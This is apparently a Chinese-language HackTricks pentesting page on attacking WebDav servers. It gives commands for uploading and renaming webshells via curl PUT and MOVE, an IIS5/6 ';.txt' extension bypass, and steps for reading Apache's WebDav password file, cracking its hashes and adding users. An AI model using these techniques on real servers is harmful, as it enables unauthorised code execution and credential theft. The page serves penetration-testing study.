83 lines
3.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# WebDav
{{#include ../../banners/hacktricks-training.md}}
在处理启用了 **WebDav****HTTP 服务器** 时,如果您拥有正确的 **凭据**,通常通过 **HTTP 基本认证** 验证,就可以 **操纵文件**。控制这样的服务器通常涉及 **上传和执行 webshell**
访问 WebDav 服务器通常需要 **有效的凭据**[**WebDav 暴力破解**](../../generic-hacking/brute-force.md#http-basic-auth) 是获取它们的常见方法。
为了克服文件上传的限制,特别是那些阻止服务器端脚本执行的限制,您可以:
- 如果没有限制,**直接上传** 具有 **可执行扩展名** 的文件。
- **重命名** 上传的非可执行文件(如 .txt为可执行扩展名。
- **复制** 上传的非可执行文件,将其扩展名更改为可执行的扩展名。
## DavTest
**Davtest** 尝试 **上传多个不同扩展名的文件****检查** 扩展名是否 **被执行**
```bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
```
![](<../../images/image (851).png>)
这并不意味着 **.txt** 和 **.html 扩展名正在被执行**。这意味着您可以 **通过网络访问这些文件**
## Cadaver
您可以使用此工具 **连接到 WebDav** 服务器并执行操作(如 **上传**、**移动** 或 **删除** **手动**
```
cadaver <IP>
```
## PUT 请求
```
curl -T 'shell.txt' 'http://$ip'
```
## MOVE 请求
```bash
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
## IIS5/6 WebDav 漏洞
这个漏洞非常有趣。**WebDav** **不允许** **上传****重命名** 扩展名为 **.asp** 的文件。但你可以通过在名称末尾 **添加** **";.txt"** 来 **绕过** 这个限制,文件将被 **执行**,就像它是一个 .asp 文件一样(你也可以 **使用 ".html" 而不是 ".txt"**,但 **不要忘记 ";"**)。
然后你可以将你的 shell 作为一个 ".**txt" 文件 **上传,并 **复制/移动** 到一个 ".asp;.txt" 文件中。通过 web 服务器访问该文件时,它将被 **执行**cadaver 会说移动操作没有成功,但实际上是成功的)。
![](<../../images/image (1092).png>)
## 后凭证
如果 Webdav 使用的是 Apache 服务器,你应该查看 Apache 中配置的网站。通常:\
_**/etc/apache2/sites-enabled/000-default**_
在其中你可能会找到类似的内容:
```
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
```
如您所见,文件中包含有效的 **credentials** 用于 **webdav** 服务器:
```
/etc/apache2/users.password
```
在这种类型的文件中,您将找到 **username****hash** 的密码。这些是 webdav 服务器用于验证用户的凭据。
您可以尝试 **crack** 它们,或者如果出于某种原因您想要 **access** **webdav** 服务器,可以 **add more**
```bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
```
要检查新凭据是否有效,您可以执行:
```bash
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
```
## 参考
- [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
{{#include ../../banners/hacktricks-training.md}}